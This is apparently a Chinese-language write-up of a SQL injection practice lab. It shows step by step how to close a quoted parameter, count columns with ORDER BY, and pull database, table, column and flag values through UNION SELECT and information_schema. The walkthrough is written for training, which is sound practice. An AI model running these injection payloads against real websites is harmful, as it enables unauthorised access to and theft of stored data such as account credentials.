显错sql注入练习

sql注入rank2

这里的id是个单引号的字符串，所以要注意，要先把单引号闭合，不然输的东西都变成字符串，我们应该让他变成执行的代码语句。最后还需要把多余的单引号注释掉，不能忘记哦~
输入： ’ and 1=1 – q

输入： ’ and 1=2 – q

发现当成输入语句当成代码来执行了，说明存在sql注入，这里上面url发现是看不懂的编码，可以利用在线url编码工具，进行解码，如下图所示：

然后继续回归正题，发现存在注入点后，开始分析这个注入点存在的字段数
输入： ’ and 1=1 order by 1 – q

输入：’ and 1=1 order by 2 – q

输入： ’ and 1=1 order by 3 – q

输入: ’ and 1=1 order by 4 – q

根据上面order by的测试，发现当前页面的字段数是3，因而，我们可以探测数据库的输出点了。

输入： ’ and 1=2 union select 1,2,3 – q

然后，通过输出点，我们可以探测数据的库名。
输入： ’ and 1=2 union select 1,2,database() limit 0,1-- q

通过改变limit后面的值，尝试是否有其他库名。
limit 1,1

至此发现，这个数据库，只有一个库名，叫error

然后下面开始通过库名，来探测表名了。
输入：
’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1-- q

哦豁，惊喜，发现表名“error——flag”
然后继续修改limit的值，往下探测
limit 1,1

哦豁，发现这回是一个“user”的表，猜想可能是存的账户和密码。

继续测试limit 2,1

发现没有显示了，所以这个“error”的数据库中，只有2张表，一个叫“error_flag”,一个叫做“user”。

因为题目要求提交flag，所以首先尝试“error_flag”的表

先探测表的字段名
输入：
’ and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ – q

发现flag的踪迹了，下面开始深究里面的值了。

输入：
’ and 1=2 union select 1,2,flag from error_flag limit 0,1-- q

哦豁，发现答案了，至此rank2写完了，和rank1相比，这个就是考验的单引号的闭合和单引号的注释问题。因为在靶场sql提示，所以我们能够很快校验，如果没有提示，是否还是能一帆风顺，需要自己多多思考练习。